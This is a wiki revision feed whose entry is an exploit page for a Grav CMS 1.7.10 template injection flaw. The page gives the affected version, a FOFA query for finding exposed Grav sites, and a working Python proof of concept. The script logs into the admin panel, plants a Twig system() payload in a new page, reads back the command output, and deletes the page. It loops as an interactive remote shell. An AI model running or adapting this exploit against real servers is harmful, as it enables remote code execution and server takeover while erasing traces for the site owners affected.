<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Grav_CMS_1.7.10_%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%2Fen</id>
	<title>Grav CMS 1.7.10 模版注入漏洞/en - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Grav_CMS_1.7.10_%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%2Fen"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Grav_CMS_1.7.10_%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/en&amp;action=history"/>
	<updated>2026-04-06T20:54:39Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Grav_CMS_1.7.10_%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/en&amp;diff=5636&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==Affected version==&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Grav_CMS_1.7.10_%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/en&amp;diff=5636&amp;oldid=prev"/>
		<updated>2021-06-24T01:48:44Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==Affected version==&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
==Affected version==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Grav CMS 1.7.10&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==FOFA==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
title=&amp;quot;Grav&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
import requests&lt;br /&gt;
from bs4 import BeautifulSoup&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
username = 'username'&lt;br /&gt;
password = 'password'&lt;br /&gt;
url = 'http://grav.local'&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
# Autheticating&lt;br /&gt;
## Getting login-nonce&lt;br /&gt;
def login(url,username,password):&lt;br /&gt;
  r = session.get(url + &amp;quot;/admin&amp;quot;)&lt;br /&gt;
  soup = BeautifulSoup(r.text, features=&amp;quot;lxml&amp;quot;)&lt;br /&gt;
  nonce = str(soup.findAll('input')[2])&lt;br /&gt;
  nonce = nonce[47:79]&lt;br /&gt;
  ## Logging in&lt;br /&gt;
  payload =f'data%5Busername%5D={username}&amp;amp;data%5Bpassword%5D={password}&amp;amp;task=login&amp;amp;login-nonce={nonce}'&lt;br /&gt;
  headers = {'Content-Type': 'application/x-www-form-urlencoded'}&lt;br /&gt;
  r = session.post(url+&amp;quot;/admin&amp;quot;,data=payload,headers=headers)&lt;br /&gt;
# Creating Page for RCE&lt;br /&gt;
def rce(url,cmd):&lt;br /&gt;
  ## Getting form nonce and unique form id&lt;br /&gt;
  project_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 8))&lt;br /&gt;
  r = session.get(url+f&amp;quot;/admin/pages/{project_name}/:add&amp;quot;)&lt;br /&gt;
  soup = BeautifulSoup(r.text, features=&amp;quot;lxml&amp;quot;)&lt;br /&gt;
  nonce = str(soup.findAll('input')[72])&lt;br /&gt;
  form_id = str(soup.findAll('input')[71])&lt;br /&gt;
  form_id = form_id[54:86]&lt;br /&gt;
  nonce = nonce[46:78]&lt;br /&gt;
  ## Creating Page&lt;br /&gt;
  headers = {'Content-Type': 'application/x-www-form-urlencoded'}&lt;br /&gt;
  payload = f'task=save&amp;amp;data%5Bheader%5D%5Btitle%5D={project_name}&amp;amp;data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&amp;amp;data%5Bfolder%5D={project_name}&amp;amp;data%5Broute%5D=&amp;amp;data%5Bname%5D=default&amp;amp;data%5Bheader%5D%5Bbody_classes%5D=&amp;amp;data%5Bordering%5D=1&amp;amp;data%5Border%5D=&amp;amp;toggleable_data%5Bheader%5D%5Bprocess%5D=on&amp;amp;data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&amp;amp;data%5Bheader%5D%5Border_by%5D=&amp;amp;data%5Bheader%5D%5Border_manual%5D=&amp;amp;data%5Bblueprint%5D=&amp;amp;data%5Blang%5D=&amp;amp;_post_entries_save=edit&amp;amp;__form-name__=flex-pages&amp;amp;__unique_form_id__={form_id}&amp;amp;form-nonce={nonce}&amp;amp;toggleable_data%5Bheader%5D%5Bpublished%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bdate%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bmetadata%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bdateformat%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bmenu%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bslug%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bredirect%5D=0&amp;amp;data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Btwig_first%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bchild_type%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Broutable%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bvisible%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bdebugger%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Btemplate%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0'&lt;br /&gt;
  r = session.post(url+f&amp;quot;/admin/pages/{project_name}/:add&amp;quot;,data=payload,headers=headers)&lt;br /&gt;
  ## Getting command output&lt;br /&gt;
  r = session.get(url+f&amp;quot;/{project_name.lower()}&amp;quot;)&lt;br /&gt;
  if 'SyntaxError' in r.text:&lt;br /&gt;
    print(&amp;quot;[-] Command error&amp;quot;)&lt;br /&gt;
  else:&lt;br /&gt;
    a = r.text.split('&amp;lt;section id=&amp;quot;body-wrapper&amp;quot; class=&amp;quot;section&amp;quot;&amp;gt;')&lt;br /&gt;
    b = a[1].split('&amp;lt;/section&amp;gt;')&lt;br /&gt;
    print(b[0][58:])&lt;br /&gt;
  # Cleaning up&lt;br /&gt;
  ## Getting admin-nonce&lt;br /&gt;
  r = session.get(url + &amp;quot;/admin/pages&amp;quot;)&lt;br /&gt;
  soup = BeautifulSoup(r.text, features=&amp;quot;lxml&amp;quot;)&lt;br /&gt;
  nonce = str(soup.findAll('input')[32])&lt;br /&gt;
  nonce = nonce[47:79]&lt;br /&gt;
  ## Deleting Page&lt;br /&gt;
  r = session.get(url+f&amp;quot;/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}&amp;quot;)&lt;br /&gt;
login(url,username,password)&lt;br /&gt;
while True:&lt;br /&gt;
  cmd = input(&amp;quot;$ &amp;quot;)&lt;br /&gt;
  rce(url,cmd)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>